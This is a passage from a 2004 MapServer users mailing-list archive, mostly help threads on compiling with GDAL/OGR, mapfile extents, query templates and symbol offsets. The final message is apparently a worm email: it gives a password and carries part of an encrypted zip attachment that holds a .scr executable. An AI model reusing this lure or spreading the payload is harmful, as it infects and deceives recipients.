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 IAIAIAIAIAIAIAIAIAIAIAIAIAIAIA//2Q== --------------040406030602040300020008-- From Gatti at cpqd.com.br Fri Mar 12 07:54:46 2004 From: Gatti at cpqd.com.br (Sandro Danilo Gatti) Date: Fri, 12 Mar 2004 12:54:46 -0300 Subject: RES: [Mapserver-users] Compiling mapserver 4 with gdal + ogr + wfs suport Message-ID: <7B3538F053C06142BF0AA9DF2D764AC60390A077@MAILSRV1.aquarius.cpqd.com.br> Daniel thanks a lot for your help. It worked beautifully. I was using GDAL 1.2.0 and mapserver 4.0.1. Frank, I haven't tried your solution, as Daniel's solution came first and solved my problem :-) , but thanks for your help too. Best regards Sandro. ----------------------------------------- Sandro Danilo Gatti Analista de Sistemas CPqD Telecom & IT Solutions Tel.: +55 19 3705-4420 gatti at cpqd.com.br http://www.cpqd.com.br |- -----Mensagem original----- |- De: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] |- Enviada em: sexta-feira, 12 de mar?o de 2004 12:05 |- Para: Sandro Danilo Gatti |- Cc: mapserver-users at lists.gis.umn.edu |- Assunto: Re: RES: [Mapserver-users] Compiling mapserver 4 with gdal + |- ogr + wfs suport |- |- |- Sandro Danilo Gatti wrote: |- > now I get the following : |- > |- > $ ./configure --with-proj --with-gdal |- --with-ogr=/usr/local/bin/gdal-config --with-wmsclient |- --with-wfsclient --with-wsm --with-wfs |- > |- > ... |- > checking whether we should include OGR support... |- > checking for OGRRegisterAll in -lgdal.1.1... (cached) no |- > configure: warning: OGR not found in system |- libs... use --with-ogr=DIR. |- |- You must be using GDAL 1.1.9 or 1.2.0? The name of the GDAL |- library has |- changed in those versions and we had to change a test in the |- configure |- script. However this was done only after the 4.0.1 release |- so the fix |- hasn't been released yet. |- |- You can get a new configure for MS 4.0.1 from |- http://www2.dmsolutions.ca/tmp/ms-401-configure.tar.gz |- |- Just extract the file and copy it over your configure |- script, then rerun |- configure and you should be fine. |- |- Daniel |- -- |- ------------------------------------------------------------ |- Daniel Morissette dmorissette at dmsolutions.ca |- DM Solutions Group http://www.dmsolutions.ca/ |- ------------------------------------------------------------ |- |- From mapserver at mail.zp.ua Fri Mar 12 08:31:49 2004 From: mapserver at mail.zp.ua (Oleg Zhornikov) Date: Fri, 12 Mar 2004 18:31:49 +0200 Subject: [Mapserver-users] gdal and php_mapscript Message-ID: <248367070.20040312183149@mail.zp.ua> Hello Mapserver-users, I'm having a little trouble with compile MS4 --with-gdal. I have MS4 _without_ GDAL and some applications on php using rasters, *.shp and PostGIS data. They works good. But if I try to run this applications with MS4 compiling --with-gdal, I have no output images. There are no php errors, no errors in Apache err.log and no MS errors. Farther, if I replase new php_mapscript.so old (compiling without gdal), my applications works good again (mapserv is new). There was no errors on compiling GDAL and MS. Can anybody tell what is the problem? Sorry for my bad english. -- Best regards, Oleg Zhornikov mailto:mapserver at mail.zp.ua From robert-fritz at web.de Fri Mar 12 09:18:32 2004 From: robert-fritz at web.de (robert fritz) Date: Fri, 12 Mar 2004 18:18:32 +0100 Subject: [Mapserver-users] Warning 1: TIFFReadDirectory Message-ID: <200403121718.i2CHIWQ25570@mailgate5.cinetic.de> Hello, I have got a error message "Warning 1: TIFFReadDirectory:D:\MS_Data\?\T12.tif: wrong data type 1 for "XMLPacket"; tag ignored" which I did not understand. I have several TIF images in a image catalogue. Only one image was not shown ? I got the error message. I needed more than 2 hourse to crack it ? and it was only a chance! The image catalogue had a wrong entry ? one tif did not exists as specified in the catalogue file! The problem was, that I could not link the error message to the real cause. I hope, that my fault helps others?. Have a nice weekend, Robert _______________________________________________________________________ ... and the winner is... WEB.DE FreeMail! - Deutschlands beste E-Mail ist zum 39. Mal Testsieger (PC Praxis 03/04) http://f.web.de/?mc=021191 From rich at greenwoodmap.com Fri Mar 12 10:07:58 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 12 Mar 2004 11:07:58 -0700 Subject: [Mapserver-users] itemnquery - hilite multiple results on single map Message-ID: <4051FC7E.70108@greenwoodmap.com> If I do an itemnquery that returns 4 results all 4 results are hilited on my map, but I also get 4 maps. My template gets called 4 times. Any way to suppress that so that I just get one map (my template gets gets called once)? Thanks, Rich -- Richard Greenwood www.greenwoodmap.com From mh at svaj.dk Fri Mar 12 10:12:01 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Fri, 12 Mar 2004 19:12:01 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From siki at agt.bme.hu Fri Mar 12 14:07:22 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 12 Mar 2004 21:07:22 -0100 (GMT+1) Subject: [Mapserver-users] Re: thanks {Scanned} In-Reply-To: <405170C6.5060000@darya.nio.org> Message-ID: Hi, On Fri, 12 Mar 2004, Pramila R Gawas wrote: > Thank u sir, > I am able to display static map with > http://host/ in the src tag of the img. > but when i try to display it using template file address > http://localhost/~pramila/worldmap/init.html > Probably you misunderstood something. The template file should be referenced in the map file in the WEB section TEMPLATE "relative path to template from the map file" To display the map you can use an url http://your_server/cgi-bin/mapserv?map=...&mode=browse or you can use a form with hidden input fields like the itasca demo. > it displays only the img icon ? is there something wrong in the extent / > scale in my **map file**. How do u calculate extent / minscale / maxscale ? Use shapelib utility shpinfo. See shapelib.maptools.org. There are other useful tools in shapelib. > > NAME WORLD > SIZE 500 650 > EXTENT 20 35 45 65 I can hardly imagine the extent of the world is 15 meters by 20 meters > UNITS METERS > SHAPEPATH "data" Shape path should be absolute (starting from /) > STATUS ON > > LAYER > NAME world > TYPE POLYGON > DATA world > CLASS > COLOR 181 181 181 > OUTLINECOLOR 50 10 100 > END > STATUS DEFAULT > END > > WEB > TEMPLATE world.html > IMAGEPATH "set in init.html" > IMAGEURL "set in init.html" > MINSCALE 0 > MAXSCALE 360 This scale is nonsense. Remove MINSCALE and MAXSCALE. If you see the map try to find reasonable scales. If you have only one layer no sense to use MINSCALE, MAXSCALE. Put MINSCALE and MAXSCALE in the definition of a layer. Read the MAP file documentation about them. > METADATA > WMS_ONLINERESOURCE "http://localhost/~pramila/worldmap/init.html" > > END > END > END > Bye Zoltan From siki at agt.bme.hu Fri Mar 12 14:43:42 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 12 Mar 2004 21:43:42 -0100 (GMT+1) Subject: [Mapserver-users] itemnquery - hilite multiple results on single map {Scanned} {Scanned} In-Reply-To: <4051FC7E.70108@greenwoodmap.com> Message-ID: Hi, On Fri, 12 Mar 2004, Richard Greenwood wrote: > If I do an itemnquery that returns 4 results all 4 results are hilited > on my map, but I also get 4 maps. My template gets called 4 times. Any > way to suppress that so that I just get one map (my template gets gets > called once)? > I had the same headache recently. If you add TEMPLATE, HEADER and FOOTER to the definition of the queried layer, the template is evaluated for each found element. So I add the real template as the HEADER and I add an empty html to TEMPLATE. HEADER and FOOTER are evaluated only ones. LAYER xxx .... TEMPLATE "emplty.html" HEADER "teh real template" FOOTER "empty.html" END I hope it helps you. Bye Zoltan From stepan.kafka at centrum.cz Fri Mar 12 13:59:40 2004 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Fri, 12 Mar 2004 22:59:40 +0100 Subject: [Mapserver-users] asymetric line symbol In-Reply-To: <000001c4080c$ceacd700$d90510ac@aisgkk> Message-ID: <000801c4087d$5146b8a0$463c2fc3@HSGIS> Please, use OFFSET in class definition, e.g: CLASS COLOR 192 0 0 SYMBOL l-solid OFFSET 2 -99 SIZE 5 MAXSIZE 10 END Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz ICQ: 294002967 http://www.bnhelp.cz > -----P?vodn? zpr?va----- > Od: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Tomko > Odesl?no: 12. b?ezna 2004 9:34 > Komu: 'David Mitchell'; mapserver-users at lists.gis.umn.edu > P?edm?t: RE: [Mapserver-users] asymetric line symbol > > > Dear David, > Thanks for the help. Well, I have found something like that in the list, > but unfortunately I can not get this working. > > Maybe you can seen an error, I dont... All I get is > loadSymbol(): Incorrect data type. Parsing error near (OFFSET):(line > 158) > > SYMBOL > NAME 'line' > TYPE ellipse > FILLED true > POINTS > 1 1 > END > END > > SYMBOL > NAME 'ofline' > TYPE ellipse > FILLED true > POINTS 1 1 END > FILLED true > TRANSPARENT 0 > STYLE 5 OFFSET 5 -99 END > > > LAYER > NAME hranica > GROUP hranica > TYPE polygon > STATUS on > DATA ../portal/data/SVM50/hranice/stat.shp > MINSCALE 1000 > MAXSCALE 1700000 > CLASSITEM "OBJECTID" > CLASS > EXPRESSION /./ > OUTLINECOLOR 255 190 232 > SIZE 8 > SYMBOL 'line' > OVERLAYSYMBOL 'ofline' > OVERLAYSIZE 2 > OVERLAYOUTLINECOLOR 255 0 197 > END # CLASS > METADATA > Povod "SVM50 vektorizaciou ZM50" > WMS_TITLE "hranica" > WMS_GROUP_TITLE "hranica" > WMS_SRS "EPSG:4156" > END > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From rich at greenwoodmap.com Fri Mar 12 18:19:31 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 12 Mar 2004 19:19:31 -0700 Subject: [Mapserver-users] itemnquery - hilite multiple results on single map {Scanned} {Scanned} In-Reply-To: References: Message-ID: <40526FB3.3090206@greenwoodmap.com> Siki Zoltan wrote: > Hi, > > On Fri, 12 Mar 2004, Richard Greenwood wrote: > > >>If I do an itemnquery that returns 4 results all 4 results are hilited >>on my map, but I also get 4 maps. My template gets called 4 times. Any >>way to suppress that so that I just get one map (my template gets gets >>called once)? >> > > I had the same headache recently. > If you add TEMPLATE, HEADER and FOOTER to the definition of the queried > layer, the template is evaluated for each found element. So I add the > real template as the HEADER and I add an empty html to TEMPLATE. > HEADER and FOOTER are evaluated only ones. > > LAYER xxx > .... > > TEMPLATE "emplty.html" > HEADER "teh real template" > FOOTER "empty.html" > END > > I hope it helps you. > > Bye > Zoltan Perfect solution! Thanks so much for your help. Rich -- Richard Greenwood www.greenwoodmap.com From charlie at im-design.net Sat Mar 13 09:38:59 2004 From: charlie at im-design.net (Charles D. Van Dusen) Date: Sat, 13 Mar 2004 12:38:59 -0500 Subject: [Mapserver-users] Retrieving shape extent Message-ID: <90264B8395BF154DB2CB12B068DFFAE903AF13@westward.im-design.net> Greetings All, Is it possible to retrieve the extent of a shape selected whil in 'indexquerymap' mode? So far I have not been able to retrieve anything but the image of the selected shape. I need to have the extent ([shpext]) as well, but I have only been able to retrieve it in 'indexquery' mode. Any ideas Thanks Charlie From mh at svaj.dk Sat Mar 13 10:12:27 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Sat, 13 Mar 2004 19:12:27 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From mikereilly_7 at hotmail.com Sat Mar 13 15:32:47 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sat, 13 Mar 2004 15:32:47 -0800 Subject: [Mapserver-users] FILTER and building URL's Message-ID: I have a layer in my mapfile called tuspoints - a point layer in a shapefile. The dbf for the shapefile has a field named SITEID. What I want to do is to dynamically generate a URL to my map and have it only display a single point site based on the SITEID. I tried adding a FILTERITEM to the mapfile: FILTERITEM "SITEID" and then generating a URL like the following: http://192.168.0.3/cgi-bin/mapserv.exe?map=f%3A%2Fprogram+files%2Fapache+group%2Fapache2%2Fhtdocs%2FKitasoo%2Ftus2-1.map&imgext=760901.497924+786480.527440+898880.364040+889492.652920&imgxy=398+297&imgbox=398+297+398+297&mode=browse&zoom=1&layers=tuspoints&map_tuspoints_filter="[SITEID]"='1660' with the &map_tuspoints_filter="[SITEID]"='1660' part being the relevent part. I'm obviously doing something very wrong here - can anyone point it out for me? It keeps displaying all the points in the layer. I've been searching through the archives but haven't found anything that can give me the correct results. This may or may not be relevent: I actually have two layers that are named tuspoints - one is a point layer and one is a polygon layer - they allow me to display all point and polygon sites on the map with no labels. _________________________________________________________________ MSN Premium helps eliminate e-mail viruses. Get 2 months FREE* http://join.msn.com/?pgmarket=en-ca&page=byoa/prem&xAPID=1994&DI=1034&SU=http://hotmail.com/enca&HL=Market_MSNIS_Taglines From gayathri at ou.edu Sat Mar 13 20:44:41 2004 From: gayathri at ou.edu (gayathri at ou.edu) Date: Sat, 13 Mar 2004 20:44:41 -0800 Subject: [Mapserver-users] Hi! :-) Message-ID: ----------xvhyqoojmtoisadxxqin Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The access is open !!! 06150 -- archive password ----------xvhyqoojmtoisadxxqin Content-Type: application/octet-stream; name="AttachedFile.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="AttachedFile.zip" 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 